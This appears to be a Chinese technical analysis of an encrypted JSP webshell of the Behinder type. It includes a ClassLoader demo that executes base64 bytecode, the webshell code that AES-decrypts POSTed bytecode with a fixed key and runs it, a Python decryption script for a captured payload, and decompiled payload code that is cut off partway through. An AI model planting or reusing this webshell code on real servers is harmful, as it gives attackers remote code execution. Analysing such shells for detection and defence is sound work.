笔者在这里进行定义一个DEMO来分析:

<%@ page import="sun.misc.BASE64Decoder" %>
<%!
    class U extends ClassLoader {
        // 不定义构造函数的话, 会调用 ClassLoader 无参构造器
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
%>
<%
    out.println(new U().g(new BASE64Decoder().decodeBuffer("yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAVMQ01EOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQAIQ01ELmphdmEMAAoACwcAIgwAIwAkAQAEY2FsYwwAJQAmAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKACcBAANDTUQBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAgABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAgADgAAAAwAAQAAAAUADwAQAAAACAARAAsAAQAMAAAAZgADAAEAAAAXuAACEgO2AARXpwANS7sABlkqtwAHv7EAAQAAAAkADAAFAAMADQAAABYABQAAAAsACQAOAAwADAANAA0AFgAPAA4AAAAMAAEADQAJABIAEwAAABQAAAAHAAJMBwAVCQABABYAAAACABc=")).newInstance());
%>

<!-- 其中 BASE64 值是如下类的字节码经过BASE64处理后的值 -->
<!--
public class CMD {
    static {
        try {
            Process exec = Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
} -->

运行后会弹出计算器:

image

后面就是一个AES加密解密的API调用了, 给出JAVA案例直接理解:

public class Main {
    public static void main(String[] args) throws ClassNotFoundException, IOException,
            InstantiationException, IllegalAccessException, NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException {
        SecretKeySpec key = new SecretKeySpec("secretkey1231231".getBytes(), "AES"); // 定义 KEY
        Cipher aes = Cipher.getInstance("AES"); // 得到 AES 加密算法对象
        aes.init(1, key); // 初始化对象 1: 加密 2: 解密
        byte[] bytes = aes.doFinal("data".getBytes()); // 加密后的数据
        String encode = new BASE64Encoder().encode(bytes); // 将加密后的数据进行 BASE64 处理
        System.out.println(encode); // LLTp6j57mmYVkfw77vc83g==
    }
}

那么接下来理解这段代码:

<%
    if (request.getMethod().equals("POST")) { // 如果是 POST 请求
        String k = "e45e329feb5d925b";
        session.putValue("u", k);
        Cipher c = Cipher.getInstance("AES"); // 得到 AES 加解密对象
        c.init(2, new SecretKeySpec(k.getBytes(), "AES")); // 解密数据对象, 用 e45e329feb5d925b 作为 KEY
        new U(this.getClass().getClassLoader())
            .g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(
                request.getReader().readLine() // 将 POST 中传递过来的字节码, 经过 BASE64 解密处理
            )))
            .newInstance().equals(pageContext); // 调用 newInstance 进入 static 代码块 | 无参构造函数, 调用 equals(pageContext) 将当前 JSP 页面上下文传递过来
    }
%>

那么使用BP进行捕获POST中传递的字节码信息:

image

编写python脚本进行解密, 得到class内容:

from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import base64
# 假设这是你的密钥和初始化向量,需要和加密时相同
key = b'e45e329feb5d925b'
# 加密文本
ciphertext = base64.b64decode(b'''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''')
cipher = AES.new(key, AES.MODE_ECB) # 创建AES解密对象
plaintext = cipher.decrypt(ciphertext) # 解密
plaintext = plaintext[:-plaintext[-1]] # 删除填充
open('data.class', 'wb').write(plaintext)

使用jd-gui进行反编译:

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import net.rdapieo.Vbypdrrvir;

public class Vbypdrrvir {
  public static String content = "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";
  private Object Request;
  private Object Response;
  private Object Session;
  public boolean equals(Object obj) {
    Map<String, String> result = new HashMap<String, String>();
    try {
      fillContext(obj);
      result.put("status", "success");
      result.put("msg", content);
    } catch (Exception e) {
      result.put("msg", e.getMessage());
      result.put("status", "success");
    } finally {
      try {
        Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
